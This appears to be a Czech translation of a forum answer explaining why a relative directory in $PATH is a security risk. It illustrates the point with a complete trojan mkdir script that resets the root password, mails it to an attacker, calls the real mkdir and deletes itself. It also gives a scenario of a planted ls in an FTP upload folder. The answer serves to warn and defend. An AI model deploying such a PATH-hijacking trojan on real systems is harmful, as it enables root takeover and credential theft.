Existují dva problémy s cestou, kterou používáte.
- Cesta je relativní.
- Relativní cesta přichází před hlavní cesty.
Předpokládejme, že máte následující skript shellu, který používáte jako root k aktualizaci nějaké webové aplikace, a nastavili jste $PATH
používá se v /etc/profile
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
Útočníkovi poskytujete prostředek k provedení něčeho v shellu, který je ovládán uvedeným útočníkem. Forma útoku by vypadala takto – kde se pokouším podvrátit kontrolu nad mkdir
volání ve zranitelném skriptu.
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir [email protected]
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
Pak čekám, až aktualizujete svou webovou aplikaci.
Nyní se stane, že se zranitelný skript přepne na /dev/shm
. Když to udělá a spustí mkdir
najde apps/java/bin/mkdir
nejprve program, který v tomto případě resetuje heslo uživatele root, pošle útočníkovi e-mailem nové heslo uživatele root, ve skutečnosti zavolá skutečné mkdir
(aby skryl skutečnost, že se něco skutečně stalo) a odstraní se z cesty útoku.
Jako root máte ne zjistit, co se stalo, a důkazy jsou vymazány, jakmile bude náklad doručen.
Problém s relativní cestou v $PATH je ten, že pokud útočník dokáže vytvořit soubor s daným jménem ve vašem souborovém systému, riskujete spuštění tohoto souboru.
Příklad:df
nebo monitorování říká, že /var je plný, du
říká, že je to /var/spool/ftp/uploads
, co děláš?
cd /var/spool/ftp/uploads
ls -ltr
a jste vlastněni. Nevidíte ani ls
ve výstupu, takže se to nikdy nedozvíte.
Nahraďte ftp uploady nějakým datovým adresářem nějakého klientského webu nebo adresářem /tmp sdíleného počítače nebo mnoha dalšími věcmi.
Je pravda, že se to nebude stávat často, ale riziko existuje a psaní ./script
místo script
je snadné.